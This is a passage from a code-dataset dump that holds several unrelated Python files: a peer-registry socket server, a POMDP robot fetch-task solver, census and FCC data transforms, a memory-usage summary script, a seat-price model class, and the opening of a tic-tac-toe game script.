socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform()) +' \\n'\r\n con.send(send_msg.encode('utf-8'))\r\n con.close()\r\n #end of register message\r\n\r\n elif 'PQuery' in msg:\r\n active_peerlist = getActive(reg_peerlist)\r\n if isPresent(active_peerlist,host):\r\n active_peerlist.delete(host) #sending all active peerlists without the host which requested\r\n send_msg = 'POST PQuery Found \\nFrom '+ socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform())\r\n con.send(send_msg.encode('utf-8'))\r\n con.send(pickle.dumps(active_peerlist,pickle.HIGHEST_PROTOCOL))\r\n else:\r\n send_msg = 'POST 404 ERROR \\nFrom '+ socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform())\r\n con.send(send_msg.encode('utf-8'))\r\n con.close()\r\n #end of pquery message\r\n\r\n elif 'Leave' in msg:\r\n active_peerlist = getActive(reg_peerlist)\r\n if isPresent(active_peerlist,host):\r\n setStatus(reg_peerlist,host,False) #The active flag of the host is set to False\r\n send_msg = 'POST Leave Successful \\nFrom '+ socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform())\r\n con.send(send_msg.encode('utf-8'))\r\n con.close()\r\n else:\r\n con.close()\r\n \r\n\t\t\t\r\n \r\n elif 'KeepAlive' in msg:\r\n active_peerlist = getActive(reg_peerlist)\r\n if isPresent(active_peerlist,host):\r\n set_TTL(reg_peerlist,host)\r\n send_msg = 'POST Update TTL Successful \\nFrom '+ socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform())\r\n con.send(send_msg.encode('utf-8'))\r\n con.close()\r\n\t\t\t\t\r\n else:\r\n send_msg = 'POST 404 ERROR \\nFrom '+ socket.gethostname() +' \\nLast Message Sent: '+str(datetime.now())+' \\nOperating System ' + str(platform.platform())\r\n con.send(send_msg.encode('utf-8'))\r\n con.close()\r\n\t\t\t\t\r\n\t\t\t\t\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n \r\n \r\n \r\n","sub_path":"RS.py","file_name":"RS.py","file_ext":"py","file_size_in_byte":7790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"436819480","text":"from time import time\nimport copy\nimport cython\n# import pyximport;\n# pyximport.install()\n# import simple_rl.tasks.FetchPOMDP.cstuff as cstuff\nfrom FetchPOMDP import cstuff\nimport random\n\n\nclass FetchPOMDPSolver(object):\n\tdef __init__(self, pomdp, horizon=2, qvalue_method=\"state based\", use_gesture=True, use_language=True,\n\t planner=\"q estimation\"):\n\t\tself.pomdp = pomdp\n\t\tself.num_state_samples = pomdp.num_items\n\t\tself.horizon = horizon\n\t\tself.muted = True\n\t\tif qvalue_method == \"state based\":\n\t\t\tself.get_qvalues = self.get_qvalues_from_state\n\t\telif qvalue_method == \"belief based\":\n\t\t\tself.get_qvalues = self.get_qvalues_from_belief\n\t\tself.use_gesture = use_gesture\n\t\tself.belief_update = cstuff.belief_update\n\t\tself.belief_update_robot = cstuff.belief_update_robot\n\t\t# if use_gesture:\n\t\t# \tif use_language:\n\t\t# \t\tself.sample_observation = cstuff.sample_observation_detailed\n\t\t# \telse:\n\t\t# \t\tself.sample_observation = lambda s: {\"language\": None, \"gesture\": cstuff.sample_gesture(s)}\n\t\t# else:\n\t\t# \tif use_language:\n\t\t# \t\tself.sample_observation = lambda s: {\"language\": cstuff.sample_language(s), \"gesture\": None}\n\t\t# \telse:\n\t\t# \t\tself.sample_observation = lambda s: {\"language\": None, \"gesture\": None}\n\t\t# \t\tself.belief_update = lambda b, o: b\n\t\t# \t\tprint(\"Using neither language nor gesture.\")\n\t\tself.sample_observation = self.pomdp.sample_observation\n\t\tself.belief_update = self.pomdp.belief_update\n\t\tif planner == \"q estimation\":\n\t\t\tself.plan = self.plan_from_belief\n\t\telif planner == \"heuristic\":\n\t\t\tself.plan = self.plan_from_belief_heuristically\n\n\tdef plan_from_belief(self, b):\n\t\tsampled_states = cstuff.sample_distinct_states(b[1], self.num_state_samples)\n\t\tlist_of_q_lists = [self.get_qvalues(b, [s, b[0][0],b[0][1]], self.horizon) for s in sampled_states]\n\t\tweights = cstuff.unit_vectorn([b[1][i] for i in sampled_states])\n\t\taverage_q_values = []\n\t\tmax_q = -10000\n\t\tbest_action_ids = [0]\n\t\tfor i in range(len(self.pomdp.actions)):\n\t\t\tq = 0\n\t\t\tfor j in range(len(sampled_states)):\n\t\t\t\tq += weights[j] * list_of_q_lists[j][i]\n\t\t\taverage_q_values.append(q)\n\t\t\tif q == max_q:\n\t\t\t\tbest_action_ids.append(i)\n\t\t\telif q > max_q:\n\t\t\t\tbest_action_ids = [i]\n\t\t\t\tmax_q = q\n\t\tnext_action_id = random.sample(best_action_ids, 1)[0]\n\t\tnext_action = self.pomdp.actions[next_action_id]\n\n\t\tif not self.muted:\n\t\t\tqvs = \"\"\n\t\t\tfor i in range(len(self.pomdp.actions)):\n\t\t\t\tqvs += self.pomdp.actions[i] + \": \" + str(round(average_q_values[i], 4)) + \", \"\n\t\t\tprint(\"Current b: \" + str(b))\n\t\t\tprint(\"q values: \" + qvs)\n\t\t\tprint(\"Plan to take action (\" + str(next_action) + \") with q value = \" + str(\n\t\t\t\tround(average_q_values[next_action_id], 4)))\n\t\t\tsplit_action = next_action.split(\" \")\n\t\t\tif split_action[0] == \"pick\":\n\t\t\t\tprint(str(b[1][int(next_action.split(\" \")[1])]) + \" sure\")\n\t\treturn next_action\n\n\tdef plan_from_belief_heuristically(self, b):\n\t\tmost_likely_item = get_most_likely(b)\n\t\tpick_action = \"pick \" + str(most_likely_item[0])\n\t\tpoint_action = \"point \" + str(most_likely_item[0])\n\t\tpick_reward = self.pomdp.get_expected_reward(b, pick_action)\n\t\tif pick_reward > self.pomdp.gamma * self.pomdp.correct_pick_reward:\n\t\t\treturn pick_action\n\t\telif most_likely_item[1] >= 1.5 / len(b[1]):\n\t\t\treturn point_action\n\t\telse:\n\t\t\treturn \"wait\"\n\n\tdef get_qvalues_from_belief(self, b, true_state, horizon):\n\t\tactions = self.pomdp.actions\n\t\trewards = [self.pomdp.get_expected_reward(b, a) for a in actions]\n\t\tif horizon == 0:\n\t\t\treturn rewards\n\t\tnext_states = [self.pomdp.sample_transition(true_state, a) for a in actions]\n\t\t# Generalize for general BSS\n\t\tterminal_states = [i for i in range(len(actions)) if actions[i].split(\" \")[0] == \"pick\"]\n\t\tobservations = [self.sample_observation(next_states[i]) for i in range(len(next_states))]\n\t\tnext_beliefs = [self.belief_update(b, o) for o in observations]\n\t\tnext_qvalues = [self.get_qvalues_from_belief(next_beliefs[i], next_states[i],\n\t\t horizon - 1) if i not in terminal_states else 0.0 for i in\n\t\t range(len(next_states))]\n\t\treturn [rewards[i] + self.pomdp.gamma * cstuff.maxish(next_qvalues[i]) for i in range(len(next_states))]\n\n\tdef get_qvalues_from_state(self, b, true_state, horizon):\n\t\tactions = self.pomdp.actions\n\t\trewards = [self.pomdp.get_reward_from_state(true_state, a) for a in actions]\n\t\tif horizon == 0:\n\t\t\treturn rewards\n\t\tactions = self.pomdp.actions\n\t\tnext_states = [self.pomdp.sample_transition(true_state, a) for a in actions]\n\t\t# Generalize for general BSS\n\t\tterminal_states = [i for i in range(len(actions)) if actions[i].split(\" \")[0] == \"pick\"]\n\t\tobservations = [self.sample_observation(next_states[i]) for i in range(len(next_states))]\n\t\tnext_beliefs = [self.belief_update(b, o) for o in observations]\n\t\tnext_qvalues = [self.get_qvalues_from_state(next_beliefs[i], next_states[i],\n\t\t horizon - 1) if i not in terminal_states else 0.0 for i in\n\t\t range(len(next_states))]\n\t\treturn [rewards[i] + self.pomdp.gamma * cstuff.maxish(next_qvalues[i]) for i in range(len(next_states))]\n\n\tdef get_qvalues2Dict(self, b, true_state, horizon):\n\t\tactions = self.pomdp.actions\n\t\trewards = {a: self.pomdp.get_reward_from_state(true_state, a) for a in self.pomdp.actions}\n\t\tif horizon == 0:\n\t\t\treturn rewards\n\t\tnext_states = [self.pomdp.sample_transition(true_state, a) for a in actions]\n\t\t# Generalize for general BSS\n\t\tterminal_states = [i for i in range(len(actions)) if actions[i].split(\" \")[0] == \"pick\"]\n\t\tobservations = [self.sample_observation(next_states[i]) for i in range(len(next_states))]\n\t\tnext_beliefs = [self.belief_update(b, o) for o in observations]\n\t\tnext_qvalues = [self.get_qvalues_from_state(next_beliefs[i], next_states[i],\n\t\t horizon - 1) if i not in terminal_states else 0.0 for i in\n\t\t range(len(next_states))]\n\t\treturn [rewards[i] + self.pomdp.gamma * cstuff.maxish(next_qvalues[i]) for i in range(len(next_states))]\n\n\t# def get_qvalues_kl(self, b, true_state, horizon):\n\t# \trewards = [self.pomdp.get_reward_from_state(true_state,a) for a in self.pomdp.actions]\n\t# \tif horizon == 0:\n\t# \t\treturn rewards\n\t# \tactions = self.pomdp.actions\n\t# \tnext_states = [self.pomdp.sample_transition(true_state,a) for a in actions]\n\t# \t#Generalize for general BSS\n\t# \tterminal_states = [i for i in range(len(actions)) if actions[i].split(\" \")[0] == \"pick\"]\n\t# \tobservations = [self.sample_observation(next_states[i]) for i in range(len(next_states))]\n\t# \tnext_beliefs = [cstuff.belief_update(b,o) for o in observations]\n\t# \tkl_divs = [cstuff.kl_divergence(b,next_belief) for next_belief in next_beliefs]\n\t# \trewards = [rewards[i] + info_value*kl_divs[i] for i in range(len(rewards))]\n\t# \tnext_qvalues = [self.get_qvalues_from_belief(next_beliefs[i], next_states[i], horizon - 1) if i not in terminal_states else 0.0 for i in range(len(next_states))]\n\t# \treturn [rewards[i] + self.pomdp.gamma * cstuff.maxish(next_qvalues[i]) for i in range(len(next_states))]\n\n\tdef run(self, num_episodes=5):\n\t\t# Differes from run by getting reward from mdp state in simulation\n\t\t# TODO: Save entire history (not simulation)\n\t\tnum_correct = 0\n\t\tnum_wrong = 0\n\t\tplan = self.plan\n\t\tstart_time = time()\n\t\tfinal_scores = []\n\t\tcounter_plan_from_state = 1\n\t\thistories = []\n\t\tfor episode in range(num_episodes):\n\t\t\tdiscounted_sum_rewards = 0.0\n\t\t\tnum_iter = 0\n\t\t\tif not self.muted:\n\t\t\t\tprint(\" \")\n\t\t\t\tprint('Episode {}: '.format(episode))\n\t\t\tself.pomdp.reset()\n\t\t\tcurr_belief_state = self.pomdp.get_curr_belief()\n\t\t\tif curr_belief_state[0][1] in [\"point\",\"look\"]:\n\t\t\t\traise ValueError(\"Belief is messed up: \" + str(b[0]))\n\t\t\taction = plan(curr_belief_state)\n\t\t\tcounter_plan_from_state +=1\n\t\t\thistory = []\n\t\t\trunning = True\n\t\t\twhile running:\n\t\t\t\tif self.pomdp.is_terminal(curr_belief_state, action):\n\t\t\t\t\trunning = False\n\t\t\t\tsplit_action = action.split(\" \")\n\t\t\t\tif split_action[0] == \"pick\":\n\t\t\t\t\tif split_action[1] == str(self.pomdp.curr_state[0]):\n\t\t\t\t\t\tnum_correct += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tnum_wrong += 1\n\t\t\t\t#True state used for record keeping and is NOT used during planning\n\t\t\t\ttrue_state = self.pomdp.get_curr_state()\n\t\t\t\tret = self.pomdp.execute_action(action)\n\t\t\t\t# Consider moving belief management to solver\n\t\t\t\treward = ret[0]\n\t\t\t\tnext_belief_state = ret[1]\n\t\t\t\tobservation = ret[2]\n\t\t\t\tif type(curr_belief_state) is list:\n\t\t\t\t\traise TypeError(\n\t\t\t\t\t\t\"cur_belief has type list on iteration \" + str(num_iter) + \" of episode \" + str(\n\t\t\t\t\t\t\tepisode) + \": \" + str(curr_belief_state))\n\n\t\t\t\thistory.append({\"belief\": curr_belief_state.data, \"action\": action,\n\t\t\t\t \"observation\": make_observation_serializable(observation),\n\t\t\t\t \"reward\": reward,\"true state\":true_state.data})\n\t\t\t\tdiscounted_sum_rewards += ((self.pomdp.gamma ** num_iter) * reward)\n\t\t\t\tif not self.muted:\n\t\t\t\t\tprint('({}, {}, {}) -> {} | {}'.format(curr_belief_state, action, next_belief_state, reward,\n\t\t\t\t\t discounted_sum_rewards))\n\t\t\t\t\tprint(\"\")\n\t\t\t\tcurr_belief_state = copy.deepcopy(next_belief_state)\n\t\t\t\tif type(curr_belief_state) is list:\n\t\t\t\t\traise TypeError(\n\t\t\t\t\t\t\"cur_belief has type list on iteration \" + str(num_iter) + \" of episode \" + str(\n\t\t\t\t\t\t\tepisode) + \": \" + str(curr_belief_state))\n\t\t\t\tif running:\n\t\t\t\t\taction = plan(curr_belief_state)\n\t\t\t\t\tcounter_plan_from_state += 1\n\t\t\t\t# current_history[\"action\"] = action\n\t\t\t\tnum_iter += 1\n\t\t\thistories.append(history)\n\t\t\tfinal_scores.append(discounted_sum_rewards)\n\t\t\tif not self.muted:\n\t\t\t\tprint(\"Number of steps in this episode = \" + str(num_iter))\n\t\t\t\tprint(\"counter_plan_from_state = \" + str(counter_plan_from_state))\n\t\t# print_times()\n\t\ttotal_time = time() - start_time\n\t\tctimes = cstuff.get_times()\n\t\tif not self.muted:\n\t\t\tprint(\"Total time: \" + str(total_time))\n\t\t\tprint(\"Observation sampling time: \" + str(ctimes[\"obs_sampling_time\"]))\n\t\t\tprint(\"sample_gesture_total_time: \" + str(ctimes[\"sample_gesture_total_time\"]))\n\t\t\tprint(\"belief update time: \" + str(ctimes[\"belief_update_total_time\"]))\n\t\t\tprint(\"observation_func_total_time: \" + str(ctimes[\"observation_func_total_time\"]))\n\t\t\tprint(\"gesture_func_total_time: \" + str(ctimes[\"gesture_func_total_time\"]))\n\t\t\tprint(\"Total time: \" + str(total_time))\n\t\t\tprint(\"Observation sampling time: \" + str(ctimes[\"obs_sampling_time\"]))\n\t\t\tprint(\"sample_gesture_total_time: \" + str(ctimes[\"sample_gesture_total_time\"]))\n\t\t\tprint(\"belief update time: \" + str(ctimes[\"belief_update_total_time\"]))\n\t\t\tprint(\"observation_func_total_time: \" + str(ctimes[\"observation_func_total_time\"]))\n\t\t\tprint(\"gesture_func_total_time: \" + str(ctimes[\"gesture_func_total_time\"]))\n\t\treturn {\"final_scores\": final_scores, \"counter_plan_from_state\": counter_plan_from_state,\n\t\t \"num_correct\": num_correct, \"num_wrong\": num_wrong, \"histories\": histories}\n\n\n\tdef run_robot(self):\n\t\tplan = self.plan_from_belief_and_observation\n\t\tdiscounted_sum_rewards = 0.0\n\t\tnum_iter = 0\n\t\tif not self.muted:\n\t\t\tprint(\" \")\n\t\tself.pomdp.reset()\n\t\tmixed_belief = self.pomdp.get_curr_belief()\n\t\to = self.pomdp.get_observation()\n\t\taction = plan(mixed_belief, o)\n\t\trunning = True\n\t\twhile running:\n\t\t\tif self.pomdp.is_terminal(mixed_belief, action):\n\t\t\t\trunning = False\n\t\t\t# print(\"Terminal action: \" + str(action))\n\t\t\t# execute_start_time = time()\n\t\t\tret = self.pomdp.execute_action(action)\n\t\t\t# print(\"Execute time = \"+ str(time() - execute_start_time))\n\t\t\treward = ret[0]\n\t\t\tnext_mixed_belief = ret[1]\n\t\t\t# print_times()\n\t\t\tdiscounted_sum_rewards += ((self.pomdp.gamma ** num_iter) * reward)\n\t\t\tif not self.muted:\n\t\t\t\tprint('({}, {}, {}) -> {} | {}'.format(mixed_belief, action, next_mixed_belief, reward,\n\t\t\t\t discounted_sum_rewards))\n\t\t\t\tprint(\"\")\n\t\t\t# print_times()\n\t\t\tmixed_belief = copy.deepcopy(next_mixed_belief)\n\t\t\tcurrent_history = {\"mixed_belief\": next_mixed_belief}\n\t\t\tif running:\n\t\t\t\taction = plan(mixed_belief)\n\t\t\t\tcurrent_history[\"action\"] = action\n\t\t\telse:\n\t\t\t\tcurrent_history[\"action\"] = \"Fin\"\n\n\t# def receive_observation(self, o):\n\t# \tself.pomp.cur_belief = self.belief_update_robot(self.pomdp.cur_belief,o)\n\tdef act(self, raw_observation):\n\t\tgesture = raw_observation[0]\n\t\tif gesture is not None:\n\t\t\tgesture = [gesture[0], gesture[1], gesture[2], gesture[3], gesture[4], gesture[5]]\n\t\tlanguage = raw_observation[1]\n\t\tif language is not None:\n\t\t\tlanguage = set(raw_observation[1].split(\" \"))\n\t\telse:\n\t\t\tlanguage = set()\n\t\tobservation = {\"language\": language, \"gesture\": gesture}\n\t\tself.pomdp.curr_belief_state = cstuff.belief_update_robot(self.pomdp.curr_belief_state, observation)\n\t\tnext_action = self.plan_from_belief(self.pomdp.curr_belief_state)\n\t\tself.pomdp.execute_action_robot(next_action)\n\t\treturn next_action\n\n\tdef plan_from_belief_and_observation(self, b, o):\n\t\tb2 = self.belief_update(b, o)\n\t\treturn self.plan_from_belief(b2)\n\n\n# def test_blind():\n# \tfrom simple_rl.tasks.FetchPOMDP import FetchPOMDP\n# \tpomdp = FetchPOMDP(use_language=False,use_gesture=False)\n# \tsolver = FetchPOMDPSolver(pomdp,2,\"state based\", False,False)\n# \to = solver.sample_observation(pomdp.init_state)\n# \tb = pomdp.cur_belief\n# \tb1 = solver.belief_update(b,o)\n# \tprint(\"o: \" + str(o))\n# \tprint(\"b: \" + str(b))\n# \tprint(\"b1: \" + str(b1))\n# test_blind()\ndef get_most_likely(b):\n\tpd = b[1]\n\tmost_likely_index = 0\n\thighest_probability = 0\n\tfor i in range(len(pd)):\n\t\tif pd[i] > highest_probability:\n\t\t\thighest_probability = pd[i]\n\t\t\tmost_likely_index = i\n\treturn [most_likely_index, highest_probability]\n\n\n# def test_plan_from_observation\ndef make_observation_serializable(o):\n\to2 = {\"language\": list(o[\"language\"]), \"gesture\": o[\"gesture\"]}\n","sub_path":"zips/simple_rl-FetchPOMDP/simple_rl/planning/FetchPOMDPSolverActionRework.py","file_name":"FetchPOMDPSolverActionRework.py","file_ext":"py","file_size_in_byte":13617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215306033","text":"import re\nfrom sklearn.cluster import KMeans\nimport numpy as np\nimport pandas as pd\n\n\nb19013_cols = {'HD01_VD01' : 'income_median'}\nb01002_cols = {'HD01_VD02': 'age_median'}\nb02001_cols = {'HD01_VD02': 'White', 'HD01_VD03':'African_American','HD01_VD04':'Native_American','HD01_VD05':'Asian',\n 'HD01_VD06':'Hawaiian_Pac_Islander', 'HD01_VD01':'pop_tot'}\n\nb03003_cols={'HD01_VD01':'pop_tot', 'HD01_VD03':'Hispanic/Latino'}\n\nb19001_cols = ['blockgroup',\n 'income_0-19k',\n 'income_20-24k',\n 'income_25-39k',\n 'income_40-64k',\n 'income_65k+']\n\n\ndef geo_fix(df):\n df = df.copy()\n colnames = {'GEO.id2':'blockgroup'}\n df = df.drop(columns=['GEO.id','GEO.display-label']).rename(columns=colnames)\n\n return df\n\ndef drop_moe(df):\n return df[['blockgroup']+[col for col in df.columns[1:] if int(col[2:4]) == 1]]\n\n\ndef transform_B19001(df,drop_lowpop = True,add_percents=True):\n #Drops Non-important GEOid\n #Renames GEO.id2 to blockgroup (useful for merging)\n colnames = {'GEO.id2':'blockgroup'}\n df = df.drop(columns=['GEO.id','GEO.display-label']).rename(columns=colnames)\n\n #Removes Margin of Error Fields\n df =df[['blockgroup']+[col for col in df.columns[1:] if int(col[2:4]) == 1]]\n\n #Drop Descriptions:\n descp = df[0:1]\n df = df[1:]\n\n #Rename Column names to more descriptive words\n columnnames = {'HD01_VD01':'pop_tot', 'HD01_VD02':'lessthan_10k','HD01_VD17':'greaterthan_200k'}\n\n\n # Each of the rest of the column names follow a pattern that looks like $10,000 - $14,000\n # This regular expression captures that range\n colnums = {col:re.findall(r'\\$(\\d+),000 to \\$(\\d+)', str(descp[col])) for col in descp.columns[3:-1] }\n # Colnums is a dict of single element lists, containing a tupple that looks like this\n # ('10','14') which indicates a salary range of 10k-14k\n\n\n for key in colnums:\n columnnames[key] = f'{colnums[key][0][0]}k-{colnums[key][0][1]}k'\n #This Generates Range Strings for column names which can now be added to df\n df.rename(columns=columnnames,inplace=True)\n\n #Converts all columns to ints\n for col in df.columns:\n df[col] = df[col].astype('int')\n\n\n if drop_lowpop:\n\n df = df[df['pop_tot'] > 99]\n\n\n if add_percents:\n for col in df.columns[2:]:\n df[col+'_p'] = df[col]/df['pop_tot']\n\n # Adds additional columns binning/summing income ranges per Maggie recommendation:\n df['income_0-19k'] = df['lessthan_10k'] + df['10k-14k'] + df['15k-19k']\n df['income_20-24k'] = df['20k-24k']\n df['income_25-39k'] = df['25k-29k'] + df['30k-34k'] + df['35k-39k']\n df['income_40-64k'] = df['40k-44k'] + df['45k-49k'] + df['50k-59k']\n df['income_65k+'] = df['60k-74k'] + df['75k-99k'] + df['100k-124k'] + df['125k-149k'] + df['150k-199k'] + df['greaterthan_200k']\n\n for col in df.columns[-5:]:\n df[col+'_p'] = df[col]/df['pop_tot']\n\n return df[['blockgroup']+list(df.columns[-5:])]\n\n\n\ndef cluster_B19001(df):\n df = transform_B19001(df)\n X = list(df.columns[18:])\n model = KMeans(n_clusters=3, random_state=123)\n model.fit(df[X])\n df['Income_Cluster'] = model.predict(df[X])\n return df\n\n\n\ndef transform_B19013(df):\n\n df = drop_moe(geo_fix(df))\n df = df[1:]\n df = df.rename(columns=b19013_cols)\n df = df[['blockgroup']+list(b19013_cols.values())]\n df.replace('250,000+','250000',inplace=True)\n df.replace('-',np.NaN,inplace=True)\n df.dropna(inplace=True)\n df['income_median'] = df.income_median.astype('int')\n df['blockgroup'] = df.blockgroup.astype('int')\n return df\n\ndef transform_B03003(df):\n\n df = drop_moe(geo_fix(df))\n df = df[1:]\n df = df.rename(columns=b03003_cols)\n df = df[['blockgroup']+list(b03003_cols.values())]\n for col in df.columns:\n df[col] = df[col].astype('int')\n return df\n\ndef b03003_percents(df):\n cols = ['pop_tot','Hispanic/Latino']\n df['Hispanic/Latino_p'] = df['Hispanic/Latino']/df['pop_tot']\n\ndef transform_B01002(df):\n df = drop_moe(geo_fix(df))\n df = df[1:]\n df = df.rename(columns= b01002_cols)\n df = df[['blockgroup']+list(b01002_cols.values())]\n df.age_median.replace('-',np.NaN,inplace=True)\n df.dropna(inplace=True)\n df['age_median'] = df.age_median.astype('float')\n df['blockgroup'] = df.blockgroup.astype('int')\n return df\n\ndef transform_B02001(df):\n df = drop_moe(geo_fix(df))\n df = df[1:]\n df = df.rename(columns=b02001_cols)\n df = df[['blockgroup']+list(b02001_cols.values())]\n for col in df.columns:\n df[col] = df[col].astype('int')\n return df\n\n\ndef merge_3(df1,df2,df3):\n return pd.merge(pd.merge(df1,df2),df3)\n\ndef b02001_percents(df):\n cols = ['White',\n 'African_American',\n 'Native_American',\n 'Asian',\n 'Hawaiian_Pac_Islander'\n ]\n for col in cols:\n df[col+'_p'] = df[col]/df['pop_tot']\n\ndef transform_B01001(df):\n\n df = df[1:]\n df = drop_moe(df.drop(columns=['GEO.id','GEO.display-label']).rename(columns={'GEO.id2':'blockgroup'}))\n df.rename(columns={'HD01_VD01':'pop_tot'},inplace=True)\n for col in df.columns:\n df[col] = df[col].astype('int')\n df['male_age_bin_0-19'] = df.iloc[:,3:8].sum(axis=1)\n df['male_age_bin_20-29'] = df.iloc[:,8:12].sum(axis=1)\n df['males_age_bin_30-44'] = df.iloc[:,12:15].sum(axis=1)\n df['male_age_bin_45-59'] = df.iloc[:,15:18].sum(axis=1)\n df['male_age_bin_60+'] = df.iloc[:,18:26].sum(axis=1)\n\n df['female_age_bin_0-19'] = df.iloc[:,27:32].sum(axis=1)\n df['female_age_bin_20-29'] = df.iloc[:,32:36].sum(axis=1)\n df['females_age_bin_30-44'] = df.iloc[:,36:39].sum(axis=1)\n df['female_age_bin_45-59'] = df.iloc[:,39:42].sum(axis=1)\n df['female_age_bin_60+'] = df.iloc[:,42:50].sum(axis=1)\n\n\n for col in df.columns[-10:]:\n df[col+'_p'] = df[col] / df['pop_tot']\n\n return df[['blockgroup']+list(df.columns[-10:])]\n\n\n\n\ndef load_census(filepath=''):\n\n if filepath == '':\n print('Please specify a filepath for the census csvs')\n return None\n\n if filepath[-1] is not '/':\n filepath += '/'\n\n b01002 = transform_B01002(pd.read_csv(filepath+'ACS_16_5YR_B01002_with_ann.csv'))\n b02001 = transform_B02001(pd.read_csv(filepath+'ACS_16_5YR_B02001_with_ann.csv'))\n b19013 = transform_B19013(pd.read_csv(filepath+'ACS_16_5YR_B19013_with_ann.csv'))\n b19001 = transform_B19001(pd.read_csv(filepath+'ACS_16_5YR_B19001_with_ann.csv'))\n b01001 = transform_B01001(pd.read_csv(filepath+'ACS_16_5YR_B01001_with_ann.csv'))\n b03003 = transform_B03003(pd.read_csv(filepath+'ACS_16_5YR_B03003_with_ann.csv'))\n\n return pd.merge(pd.merge(pd.merge(pd.merge(b01001,b02001),b19013),b19001),b03003)\n\n\ndef transform_FCC(df):\n return pd.DataFrame(\n {'pcat_all_mean': df.groupby('blockgroup')['pcat_all'].mean()\n ,'pcat_10x1_mean': df.groupby('blockgroup')['pcat_10x1'].mean()\n ,'pcat_all_median': df.groupby('blockgroup')['pcat_all'].median()\n ,'pcat_10x1_median': df.groupby('blockgroup')['pcat_10x1'].median()\n }\n )\n\ndef load_FCC(filepath=''):\n if filepath == '':\n print('Please specify a filepath for the census csvs')\n return None\n\n if filepath[-1] is not '/':\n filepath += '/'\n\n return transform_FCC(pd.read_csv(filepath+'FCC_data.csv')).reset_index()\n\n\ndef merge_FCC(filepath=''):\n if filepath == '':\n print('Please specify a filepath for the FCC csv')\n return None\n\n if filepath[-1] is not '/':\n filepath += '/'\n\n FCC = load_FCC(filepath)\n census = load_census(filepath)\n b02001_percents(census)\n b03003_percents(census)\n\n b02001_columns = ['White', 'African_American','Native_American','Asian',\n 'Hawaiian_Pac_Islander']\n\n census = census.drop(columns=b02001_columns)\n\n\n return pd.merge(census,FCC)\n\n\ndef load_all(filepath=''):\n\n if filepath == '':\n print('Please specify a filepath for the census csvs')\n return None\n\n if filepath[-1] is not '/':\n filepath += '/'\n\n df = merge_FCC(filepath)\n return df.drop(columns=['pcat_all_mean','pcat_all_median', 'Hispanic/Latino'])\n","sub_path":"transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"600733628","text":"#!/usr/bin/env python\n\n\"\"\"\nThis script reads a cross_sections.out file, adds up the memory usage for each\nnuclide and S(a,b) table, and displays the total memory usage.\n\n\"\"\"\n\nfrom __future__ import print_function\n\nimport sys\nimport os\n\nif len(sys.argv) > 1:\n # Get path to cross_sections.out file from command line argument\n filename = sys.argv[-1]\nelse:\n # Set default path for cross_sections.out\n filename = 'cross_sections.out'\n if not os.path.exists(filename):\n raise OSError('Could not find cross_sections.out file!')\n\n# Open file handle for cross_sections.out file\nf = open(filename, 'r')\n\n# Initialize memory size arrays\nmemory_xs = []\nmemory_angle = []\nmemory_energy = []\nmemory_urr = []\nmemory_total = []\nmemory_sab = []\n\nwhile True:\n # Read next line in file\n line = f.readline()\n\n # Check for EOF\n if line == '':\n break\n\n # Look for block listing memory usage for a nuclide\n words = line.split()\n if len(words) == 2 and words[0] == 'Memory':\n memory_xs.append(int(f.readline().split()[-2]))\n memory_angle.append(int(f.readline().split()[-2]))\n memory_energy.append(int(f.readline().split()[-2]))\n memory_urr.append(int(f.readline().split()[-2]))\n memory_total.append(int(f.readline().split()[-2]))\n\n # Look for memory usage for S(a,b) table\n if len(words) == 5 and words[1] == 'Used':\n memory_sab.append(int(words[-2]))\n\n# Write out summary memory usage\nprint('Memory Requirements')\nprint(' Reaction Cross Sections = ' + str(sum(memory_xs)))\nprint(' Secondary Angle Distributions = ' + str(sum(memory_angle)))\nprint(' Secondary Energy Distributions = ' + str(sum(memory_energy)))\nprint(' Probability Tables = ' + str(sum(memory_urr)))\nprint(' S(a,b) Tables = ' + str(sum(memory_sab)))\nprint(' Total = ' + str(sum(memory_total)))\n","sub_path":"src/utils/memory_usage.py","file_name":"memory_usage.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"437223632","text":"#ecoding=utf-8\n__author__ = 'zhangchao'\n\nclass SeatCostModel(object):\n def __init__(self):\n self.yprice=999999\n self.cprice=999999\n self.fprice=999999\n self.yct=\"\"\n self.cct=\"\"\n self.fct=\"\"\n\n\n def printstr(self):\n string_out1=\"yprice:\"+str(self.yprice)+\",\"+\"cprice:\"+str(self.cprice)+\",\"+\"fprice:\"+str(self.fprice)\n string_out2=\"yct:\"+str(self.yct)+\",\"+\"cct:\"+str(self.cct)+\",\"+\"fct:\"+str(self.fct)\n string_out=string_out1+\",\"+string_out2\n return string_out","sub_path":"static/flight_price_analysis_qunar/model/seatcost_model.py","file_name":"seatcost_model.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"534882321","text":"import numpy as np\nimport sys\nfrom human import Human\nfrom tictactoe import Tictactoe\nfrom copy import deepcopy\nimport _thread\nimport threading\nimport time\nimport logging\n\n# XXX: Do not modify anything.\n\nTIMEOUT = 60.0\n\n\"\"\"\n Main program\nPlay tic tac toe. Players are either AIs or humans.\nArguments:\n- n : (int) Number of lines\n- m : (int) Number of columns\n- k : (int) Size of alignments\n- p1 : (str) Player, 'h' for human and 'c_`class`' for computer\n- p2 : (str) Player, 'h' for human and 'c_`class`' for computer\n - `class` is the name of your python file.\n - The name of the class inside this file has to be `Class`\n - Random selection of the first player.\n\n\"\"\"\n\n\ndef help():\n print(\"\"\"\nMain program\nPlay tic tac toe. Players are either AIs or humans.\nArguments:\n- n : (int) Number of lines\n- m : 